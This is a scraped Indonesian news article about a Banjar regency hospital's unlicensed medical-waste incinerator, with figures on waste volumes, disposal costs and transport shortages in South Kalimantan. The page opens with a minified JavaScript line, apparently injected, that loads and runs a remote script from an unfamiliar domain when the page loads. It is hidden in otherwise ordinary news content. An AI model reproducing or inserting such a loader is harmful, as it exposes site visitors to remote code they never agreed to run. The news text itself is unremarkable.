(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dewan Desak RSUD Ratu Zalecha Urus ‘Legalitas’ Incinerator Limbah Medis


MARTAPURA, Ketua Komisi IV DPRD Kabupaten Banjar Gusti Abdurahman kembali ingatkan Rumah Sakit Umum Daerah (RSUD) Ratu Zalecha (Raza) Martapura agar kantongi izin untuk operasional Incinerator sampah medis.

Menurut Antung Aman,–demikian Gusti Abdurahman kerap disapa, apabila RSUD Raza sudah mengantongi izin operasional, tentunya pengeluaran daerah untuk limbah medis dapat ditekan. Sehingga puskesmas yang ada di Kabuapten Banjar limbah medisnya dapat dimusnahkan di tempat sendiri tanpa melibatkan pihak ketiga.

Menanggapi Incinerator yang masih belum berizin operasional, Direktur RSUD Ratu Zalecha Martapura Tofik Norman Hidayat mengatakan, sudah beberapa kali mengajukan izin operasional ke Dinas Lingkungan Hidup (DLH) Kabupaten Banjar. Yang terbaru, pada awal tahun 2019 lalu.

“Mengenai Incinerator itu sebenarnya sudah kita urus sejak 2 hingga 3 tahun lalu. Segala persyaratan sudah kami penuhi sepenuhnya, yang terbaru 2019 ini sudah kami sampaikan ke DLH Banjar, sekarang tinggal menunggu rekomendasi dari DLH Banjar,” akunya.

Ditambahkan Tofik, setelah melihat dan mengkaji pengajuan yang dilakukan oleh RSUD Raza, nantinya DLH tingkat Kabupaten akan merekomendasikan lagi ke DLH Provinsi Kalsel hingga tingkat Kementerian Lingkungan Hidup. “Intinya pemerintah daerah sudah sangat berkomit sekali untuk Incinerator itu, bahkan kemarin Pak Sekda pun bersedia untuk mensuport total perizinan operasional Incinerator tersebut,” ujarnya.

Sebagai imbas dari tidak berizinnya incinerator tersebut,  RSUD Raza tidak bisa menerima sampah medis dari luar rumah sakit lain. Bahkan, rumah sakit yang meraih akreditasi paripurna tersebut sebenarnya tidak diperkenankan untuk mengolah sampah medis sendiri.

Selama proses perizinan belum selesai, rumah sakit masih diberikan toleransi untuk mengolah limbah medisnya sendiri dengan incinerator. Namun, mereka tidak boleh menerima sampah medis dari luar termasuk dari puskesmas-puskesmas.

Tentunya dalam menangani limbah medis rumah sakit tidak bisa sembarangan dilakukan. Ada perlakuan khusus yang harus dilakukan agar alat-alat medis yang telah digunakan tidak menyebabkan masalah baru, terutama terkait dengan kesehatan dan penyakit menular. Termasuk juga dilakukan oleh Raza Martapura dengan incinerator itu tadi.

Tambahnya lagi dalam satu hari RSUD Raza sendiri mampu memproduksi limbah medis sebanyak 100 hingga 150 kg lebih limbah medis. Jumlah tersebut dalam kurun dua kali dalam sehari, dihanguskan dengan incinerator yang dimiliki oleh RS Raza. “Dalam satu hari RS kita mampu menghasilkan 100 sampai 150 kg limbah medis. Limbah itu kita hancurkan dengan incinerator sendiri satu hingga dua kali dalam sehari,” jelas dr Tofik.

Direktur yang baru menjabat sejak 12 Agustus 2018 tersebut mengatakan, walaupun incinerator yang dimiliki masih dalam proses perizinan, namun keberadaannya sangat membantu dalam hal pencegahan penimbunan limbah.

Sementara dalam proses penghancurannya limbah medis apabila terjadi penumpunkan, incinerator yang dimiliki RS Raza juga tidak 100 persen menghanguskan limbah medis. Dalam prosesnya hingga selesai juga masih menyisakan abu, sehingga abu maupun limbah medis yang dihasilkan sementara ini masih ditampung untuk dikirim ke pihak ketiga.

“Jadi untuk penghancuran limbah medis ini kita juga bekerjasama dengan pihak ketiga, apabila kita oper kapasitas kita kirim kesana, walaupun lebih mahal perkilonya Rp.40 ribu untuk limbah utuh dan Rp 2 juta untuk abu limbah medias, namun pihak ketiga itu sudah direkomendasikan,” akunya.

Sebelumnya diketahui dengan alat insinerator berkapasitas 80 kg yang dimiliki oleh RS Raza ini, semua limbah medis bisa dihancurkan. Untuk memaksimalkan pembakaran biasanya hanya isi 50 sampai 60 kg limbah medis, dengan waktu pembakaran 30 menit.

Sementara itu, dalam setiap kali proses pembakaran incinerator harus menggunakan bahan jenis solar cell dengan memerlukan setidaknya 150 sampai 200 liter perhari tergantung limbah medis yang masuk.

Jumlah Incinerator Terbatas

Saat ini jumlah rumah sakit yang memiliki incinerator cukup terbatas. Di Kalsel saja, tercatat baru ada 4 rumah sakit yang memiliki incinerator sendiri. Salah satunya adalah RSUD Ulin, yang sejak beberapa waktu lalu memutuskan untuk tak menerima limbah medis dan limbah B3 dari fasilitas kesehatan, saat ini rumah sakit, klinik hingga puskesmas.

Imbasnya, tentu saja ditengarai terjadinya penimbunan limbah medis dan B3. Apalagi, saat ini jasa transportir limbah medis juga sangat sedikit. Disamping juga mahal harganya. Bayangkan saja, untuk jasa pembuangan jasa limbah medis melalui jasa transportir memerlukan biaya sebesar Rp 30-45 ribu per kilo. Angka tersebut lebih mahal daripada jasa yang diterima RSUD Ulin atas pemusnahan limbah medis yang hanya sebesar Rp 25.000 per kilo.

Tak hanya itu, keterlambatan pengangkutan limbah medis dan limbah B3 juga menjadi salah satu masalah tersendiri. Anggota pengembangan SDM Himpunan Ahli Kesehatan Lingkungan Indonesia (HAKLI) Kalsel, Rachmad Arifuddin juga pernah mengatakan, keterlambatan pengangkutan limbah medis juga disebabkan masih terbatasnya jumlah armada transportir. “Jumlahnya masih sedikit. Ditambah lagi rumah sakit klinik hingga Puskesmas juga terkendala biaya yang lebih mahal dibandingkan menitip dengan rumah sakit yang punya insinerator,” ungkapnya.

Saat ini di Kalsel diketahui ada tiga jasa transportir hingga pemusnahan limbah B3 dan medis yaitu Artama Sentosa Indonesia, Sinar Bintang Albar, dan Mitra Hijau. “Harusnya pengambilan dan pemusnahan limbah medis dan B3 maksimal 2 kali 24 jam. Tapi terbatasnya armada menyebabkan ditemukannya adanya pengangkutan yang tertunda,” katanya. (rendy)

Reporter: Rendy
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.